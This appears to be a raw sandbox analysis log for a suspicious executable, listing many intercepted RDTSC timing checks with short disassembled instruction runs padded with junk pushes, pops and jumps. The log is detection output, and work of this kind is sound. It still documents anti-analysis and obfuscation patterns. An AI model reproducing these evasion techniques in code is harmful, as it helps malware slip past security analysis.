Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E504 second address: 101E50A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E50A second address: 101E510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E510 second address: 101E515 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E515 second address: 101E51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10211C2 second address: 10211C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102132A second address: 102132E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102132E second address: 102135C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A293h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007F9950E9A286h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F9950E9A28Bh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102135C second address: 1021375 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99511DF62Bh 0x0000000d jno 00007F99511DF626h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021375 second address: 102137B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10269F1 second address: 10269F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10269F9 second address: 10269FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10269FD second address: 1026A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B808 second address: 102B80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B80E second address: 102B819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B819 second address: 102B831 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A294h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B831 second address: 102B855 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jg 00007F99511DF626h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F99511DF634h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B855 second address: 102B869 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F9950E9A2ADh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B869 second address: 102B86F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A40D second address: 103A42B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A716 second address: 103A731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF633h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A731 second address: 103A737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A737 second address: 103A73B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A73B second address: 103A74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9950E9A286h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A74B second address: 103A751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A88D second address: 103A892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A892 second address: 103A8B5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99511DF62Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F99511DF62Ah 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A8B5 second address: 103A8B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A9DD second address: 103A9E7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99511DF626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A9E7 second address: 103AA31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F9950E9A291h 0x00000012 jmp 00007F9950E9A28Eh 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a push eax 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pop eax 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B76A second address: 103B776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F99511DF626h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B776 second address: 103B77A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F43A second address: 103F43F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F43F second address: 103F445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F445 second address: 103F45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99511DF630h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F00D second address: 103F016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F160 second address: 103F164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F164 second address: 103F176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 jl 00007F9950E9A29Ah 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F176 second address: 103F17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F17C second address: 103F182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104214A second address: 1042193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F99511DF62Dh 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e jnp 00007F99511DF639h 0x00000014 popad 0x00000015 push esi 0x00000016 jmp 00007F99511DF630h 0x0000001b push eax 0x0000001c push edx 0x0000001d jnl 00007F99511DF626h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F080 second address: 104F091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F9950E9A286h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F091 second address: 104F095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D243 second address: 105D24D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9950E9A286h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D24D second address: 105D253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CF53 second address: 105CF77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10749DE second address: 1074A02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF633h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F99511DF62Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074A02 second address: 1074A08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074A08 second address: 1074A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074A16 second address: 1074A26 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9950E9A292h 0x00000008 jc 00007F9950E9A286h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074B75 second address: 1074B80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074DFF second address: 1074E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A293h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F9950E9A286h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075266 second address: 107526E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107526E second address: 1075274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10756C4 second address: 10756C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10756C9 second address: 10756F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jne 00007F9950E9A29Bh 0x00000011 jmp 00007F9950E9A295h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10756F3 second address: 10756F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10756F9 second address: 10756FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107587A second address: 1075880 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075880 second address: 1075886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075886 second address: 107589E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F99511DF626h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107589E second address: 10758C8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9950E9A286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F9950E9A28Eh 0x00000014 jno 00007F9950E9A28Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10758C8 second address: 10758E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF630h 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107846C second address: 1078477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F9950E9A286h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078738 second address: 107873E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107873E second address: 1078743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078743 second address: 1078768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F99511DF637h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078768 second address: 107876D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10787E5 second address: 1078823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F99511DF626h 0x00000009 jo 00007F99511DF626h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 jmp 00007F99511DF634h 0x00000018 push 00000004h 0x0000001a or dword ptr [ebp+122D2502h], edi 0x00000020 or dx, CFE4h 0x00000025 push DA619B2Dh 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d push esi 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B39D second address: 107B3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9950E9A291h 0x0000000b popad 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B3BC second address: 107B3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B3C2 second address: 107B3DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F9950E9A296h 0x0000000c jmp 00007F9950E9A290h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520D65 second address: 5520D6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520D6B second address: 5520D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520D6F second address: 5520DF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF633h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [eax+00000FDCh] 0x00000011 pushad 0x00000012 mov al, 73h 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F99511DF637h 0x0000001b or si, DE3Eh 0x00000020 jmp 00007F99511DF639h 0x00000025 popfd 0x00000026 mov di, cx 0x00000029 popad 0x0000002a popad 0x0000002b test ecx, ecx 0x0000002d jmp 00007F99511DF62Ah 0x00000032 jns 00007F99511DF652h 0x00000038 jmp 00007F99511DF630h 0x0000003d add eax, ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520DF7 second address: 5520DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, F8h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520DFE second address: 5520E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520E04 second address: 5520E2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax+00000860h] 0x0000000e jmp 00007F9950E9A293h 0x00000013 test eax, eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520E2D second address: 5520E48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF637h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554033D second address: 5540367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A291h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dh, ah 0x0000000d mov dx, BB4Ch 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dx, 9B02h 0x0000001a mov cx, di 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540367 second address: 554039E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, A781h 0x00000007 mov cl, 3Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F99511DF639h 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F99511DF62Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554039E second address: 55403A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403A4 second address: 55403A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403A8 second address: 55403AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403AC second address: 55403CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F99511DF631h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403CC second address: 55403D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307AA second address: 55307AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307AE second address: 55307B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307B2 second address: 55307B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307B8 second address: 55307BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308BE second address: 55308EC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99511DF630h 0x00000008 and ch, 00000018h 0x0000000b jmp 00007F99511DF62Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov dh, ch 0x00000015 popad 0x00000016 xchg eax, ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308EC second address: 55308F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308F0 second address: 55308F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308F6 second address: 5530955 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9950E9A294h 0x00000011 sbb eax, 1742F0D8h 0x00000017 jmp 00007F9950E9A28Bh 0x0000001c popfd 0x0000001d call 00007F9950E9A298h 0x00000022 mov dl, al 0x00000024 pop ebx 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530955 second address: 5530959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530959 second address: 553095D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553095D second address: 5530963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530963 second address: 553097F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A291h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movzx eax, dx 0x00000010 rdtsc
